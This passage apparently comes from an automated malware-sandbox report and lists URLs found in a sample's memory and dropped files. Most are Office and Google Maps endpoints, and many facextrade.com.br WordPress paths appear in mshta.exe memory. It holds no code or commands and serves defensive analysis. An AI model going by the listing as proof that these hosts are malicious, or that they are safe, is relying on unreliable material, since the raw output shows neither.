Source: js[2].js.10.dr	String found in binary or memory: https://developers.google.com/maps/documentation/javascript/vector-map
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://devnull.onenote.com
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://directory.services.
Source: js[2].js.10.dr	String found in binary or memory: https://earthbuilder.googleapis.com
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://ecs.office.com/config/v2/Office
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://enrichment.osi.office.net/
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Refresh/v1
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Resolve/v1
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Search/v1
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/StockHistory/v1
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/ipcheck/v1
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/metadata.json
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/desktop/main.cshtml
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/web/main.cshtml
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://entitlement.diagnostics.office.com
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: mshta.exe, 0000000A.00000003.559951486.0000000002C73000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.564242339.000000000BFEF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713375495.000000000BFF2000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br
Source: mshta.exe, 0000000A.00000003.559951486.0000000002C73000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713311396.000000000BFD5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.517220441.000000000C06F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701472080.0000000002C76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/
Source: mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#about_section
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#about_sectionl
Source: mshta.exe, 0000000A.00000003.559951486.0000000002C73000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.517220441.000000000C06F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.705471929.0000000006A38000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.562456185.0000000006A38000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701472080.0000000002C76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#contatos
Source: mshta.exe, 0000000A.00000002.705471929.0000000006A38000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.562456185.0000000006A38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#contatosW8
Source: mshta.exe, 0000000A.00000003.559951486.0000000002C73000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.517220441.000000000C06F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.564242339.000000000BFEF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713375495.000000000BFF2000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.563774009.000000000C068000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713510445.000000000C068000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701472080.0000000002C76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#estrutura
Source: mshta.exe, 0000000A.00000003.564242339.000000000BFEF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713375495.000000000BFF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#estruturan
Source: mshta.exe, 0000000A.00000003.563774009.000000000C068000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713510445.000000000C068000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#portfolio_se
Source: mshta.exe, 0000000A.00000003.559951486.0000000002C73000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.517220441.000000000C06F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703971225.000000000627F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.576726074.0000000006270000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701472080.0000000002C76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#portfolio_section
Source: mshta.exe, 0000000A.00000003.559951486.0000000002C73000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.517220441.000000000C06F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701472080.0000000002C76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#segmentos
Source: mshta.exe, 0000000A.00000003.564242339.000000000BFEF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713375495.000000000BFF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#segmentosJ
Source: mshta.exe, 0000000A.00000003.564242339.000000000BFEF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713375495.000000000BFF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#segmentosS
Source: mshta.exe, 0000000A.00000003.564242339.000000000BFEF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713375495.000000000BFF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#segmentosf
Source: mshta.exe, 0000000A.00000003.559951486.0000000002C73000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.517220441.000000000C06F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.705471929.0000000006A38000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.562456185.0000000006A38000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.563774009.000000000C068000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713510445.000000000C068000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701472080.0000000002C76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#servicos
Source: mshta.exe, 0000000A.00000002.705471929.0000000006A38000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.562456185.0000000006A38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#servicosG7
Source: mshta.exe, 0000000A.00000002.705471929.0000000006A38000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.562456185.0000000006A38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#servicosa8
Source: mshta.exe, 0000000A.00000002.713311396.000000000BFD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/D
Source: mshta.exe, 0000000A.00000003.563774009.000000000C068000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713510445.000000000C068000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/I
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/comments/feed/
Source: mshta.exe, 0000000A.00000003.556020995.00000000068DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.704906949.00000000068E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/comments/feed/bleA
Source: mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/feed/
Source: mshta.exe, 0000000A.00000002.704775619.00000000068C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/feed/2
Source: mshta.exe, 0000000A.00000002.700929963.0000000002BD1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.574093022.0000000002BD0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/feed/atom/
Source: mshta.exe, 0000000A.00000002.713311396.000000000BFD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/t
Source: mshta.exe, 0000000A.00000003.559951486.0000000002C73000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.596364992.0000000006E75000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/wp-admin/admin-ajax.php
Source: mshta.exe, 0000000A.00000003.559951486.0000000002C73000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.705471929.0000000006A38000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.562456185.0000000006A38000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.516286879.0000000006A38000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701472080.0000000002C76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/wp-json/
Source: mshta.exe, 0000000A.00000003.596364992.0000000006E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/wp-json/contact-form-7/v1tom
Source: mshta.exe, 0000000A.00000003.559951486.0000000002C73000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701472080.0000000002C76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/xmlrpc.php?rsd
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/xmlrpc.php?rsd)bl6
Source: mshta.exe, 0000000A.00000003.516067148.0000000006A00000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://geo0.ggpht.com/cbk
Source: mshta.exe, 0000000A.00000003.516067148.0000000006A00000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://geo1.ggpht.com/cbk
Source: mshta.exe, 0000000A.00000003.516067148.0000000006A00000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://geo2.ggpht.com/cbk
Source: mshta.exe, 0000000A.00000003.516067148.0000000006A00000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://geo3.ggpht.com/cbk
Source: mshta.exe, 0000000A.00000002.713311396.000000000BFD5000.00000004.00000800.00020000.00000000.sdmp, owl.theme.default.min[1].css.10.dr, owl.carousel.min[1].css.10.dr, owl.carousel[1].js.10.dr	String found in binary or memory: https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE
Source: mshta.exe, 0000000A.00000003.577274458.000000000C238000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.577520075.000000000C238000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713972166.000000000C237000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.708753943.000000000737B000.00000004.00000800.00020000.00000000.sdmp, superfish[1].js.10.dr	String found in binary or memory: https://github.com/joeldbirch/onHoverIntent
Source: animate-logo[1].css.10.dr	String found in binary or memory: https://github.com/nickpettit/glide
Source: mshta.exe, 0000000A.00000002.714121480.000000000C268000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.564675315.000000000C266000.00000004.00000800.00020000.00000000.sdmp, jquery.simplr.smoothscroll.min[1].js.10.dr	String found in binary or memory: https://github.com/simov/simplr-smoothscroll
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://globaldisco.crm.dynamics.com
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://graph.ppe.windows.net
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://graph.ppe.windows.net/
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://graph.windows.net
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://graph.windows.net/
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gtranslate.io/
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?secureurl=1
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://incidents.diagnostics.office.com
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://inclient.store.office.com/gyro/client
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://inclient.store.office.com/gyro/clientstore
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://invites.office.com/
Source: mshta.exe, 0000000A.00000003.517491365.00000000069FE000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://khms0.google.com/kh?v=143
Source: mshta.exe, 0000000A.00000003.517491365.00000000069FE000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://khms0.google.com/kh?v=928
Source: mshta.exe, 0000000A.00000003.517491365.00000000069FE000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://khms1.google.com/kh?v=143
Source: mshta.exe, 0000000A.00000003.517491365.00000000069FE000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://khms1.google.com/kh?v=928
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/Getvoices
Source: mshta.exe, 0000000A.00000003.516067148.0000000006A00000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://lh3.ggpht.com/
Source: mshta.exe, 0000000A.00000003.516067148.0000000006A00000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://lh4.ggpht.com/
Source: mshta.exe, 0000000A.00000003.516067148.0000000006A00000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://lh5.ggpht.com/
Source: mshta.exe, 0000000A.00000003.516067148.0000000006A00000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://lh6.ggpht.com/
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://lifecycle.office.com
Source: mshta.exe, 0000000A.00000002.700929963.0000000002BD1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.574093022.0000000002BD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://login.microsoftonline.com/
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://login.windows.local
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://management.azure.com
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://management.azure.com/
Source: mshta.exe, 0000000A.00000003.516067148.0000000006A00000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://maps.google.com
Source: mshta.exe, 0000000A.00000003.516067148.0000000006A00000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://maps.googleapis.com
Source: mshta.exe, 0000000A.00000003.516067148.0000000006A00000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://maps.googleapis.com/maps/api/js/GeoPhotoService.GetMetadata
Source: mshta.exe, 0000000A.00000003.516067148.0000000006A00000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://maps.googleapis.com/maps/api/js/GeoPhotoService.SingleImageSearch
Source: mshta.exe, 0000000A.00000003.559951486.0000000002C73000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.517220441.000000000C06F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701472080.0000000002C76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://maps.googleapis.com/maps/api/js?v=3.exp&sensor=false
Source: mshta.exe, 0000000A.00000003.516067148.0000000006A00000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://maps.googleapis.com/maps/vt
Source: mshta.exe, 0000000A.00000003.516067148.0000000006A00000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://maps.googleapis.com/maps_api_js_slo/log?hasfast=true
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://messaging.action.office.com/
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://messaging.action.office.com/setcampaignaction
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://messaging.action.office.com/setuseraction16
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://messaging.engagement.office.com/
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://messaging.engagement.office.com/campaignmetadataaggregator
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://messaging.lifecycle.office.com/
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://messaging.lifecycle.office.com/getcustommessage16
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://messaging.office.com/
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://metadata.templates.cdn.office.net/client/log
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://my.microsoftpersonalcontent.com
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://ncus.contentsync.
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://ncus.pagecontentsync.
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://officeapps.live.com
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://officeci.azurewebsites.net/api/
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentities
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentitiesupdated
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://onedrive.live.com
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://onedrive.live.com/embed?
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://osi.office.net
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://otelrules.azureedge.net
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://outlook.office.com
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://outlook.office.com/
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://outlook.office365.com
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://outlook.office365.com/
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://pages.store.office.com/appshome.aspx?productgroup=Outlook
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://pages.store.office.com/review/query
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://pages.store.office.com/webapplandingpage.aspx
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://powerlift.acompli.net
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
